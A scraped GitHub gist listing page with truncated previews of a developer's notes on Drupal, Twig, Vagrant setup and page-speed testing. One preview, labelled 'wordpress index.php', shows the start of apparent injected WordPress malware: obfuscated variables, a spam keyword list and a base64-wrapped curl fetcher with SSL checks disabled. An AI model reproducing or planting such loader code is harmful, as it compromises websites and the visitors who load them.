Skip to content

Instantly share code, notes, and snippets.

theme engines
https://sqndr.github.io/d8-theming-guide/new-theming-layer/theme-engines.html
twig coding standard
https://www.drupal.org/node/1823416
Twig standards
https://twig.symfony.com/doc/2.x/coding_standards.html
learn twig
@michalsen
michalsen / wordpress index.php
Created June 16, 2017 18:25
wordpress index.php
<?php
//header('Content-Type:text/html; charset=utf-8');
$O00O__0O_O='10268';
$OO_0_00_OO=6912;
$O_0OO0O0__='/A_B/C.tar';
$O00O__0_OO='blowers,cornmeal,instantaneous,denim,cursive,hula,produced,pantene,scratched,xiang,linhai,kiko,product,strong,reiz,servants,qualification,axillary,ayilian,accord';
$O0__O0OO0_='';
$O__0_00OOO=0;
$O_0OO0_O_0='1';
$OO0_O__0O0='';
## Slim PHP
http://www.slimframework.com/
## Install Vagrant Server
https://box.scotch.io/
sudo vim /etc/apache2/sites-available/000-default.conf
# change DocumentRoot to your http home directory
DocumentRoot /var/www/public/[YOUR_PROJECT_DIR]/public
print (base64_decode("set_time_limit(0);
function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
really
very
that
just
then
Totally
completely
absolutely
literally
Definitely
Rainy Cafe
http://rainycafe.com/
Your listening to:
http://youarelistening.to/chicago
/**
* Create Time Object
*/
class getTime {
public $time = "";
/**
* Set Time in Object
*/
@michalsen
michalsen / sn_install.build
Created February 5, 2015 14:24
SN Install Build
; SNDEV Profile Makefile
core = "7.x"
api = "2"
projects[drupal][version] = "7.x"
; Grab out installation profile from github (change branch to whatever branch you need, or comment out if you want master)
projects[sndev_install][type] = "profile"
projects[sndev_install][download][type] = "git"
projects[sndev_install][download][branch] = "master"
@michalsen
michalsen / gist:8625e0736d1c9fb4a564
Last active August 29, 2015 14:05
#FVCP Sep2014
/**
* Notes and various links mentioned in
* FVCP and FVDrupalCamp 2014
* on web page speed, testing and loading
*/
Developer Tools in browser.
Load page under Network
Can save load meta data as HAR file (rt click / save as HAR with content)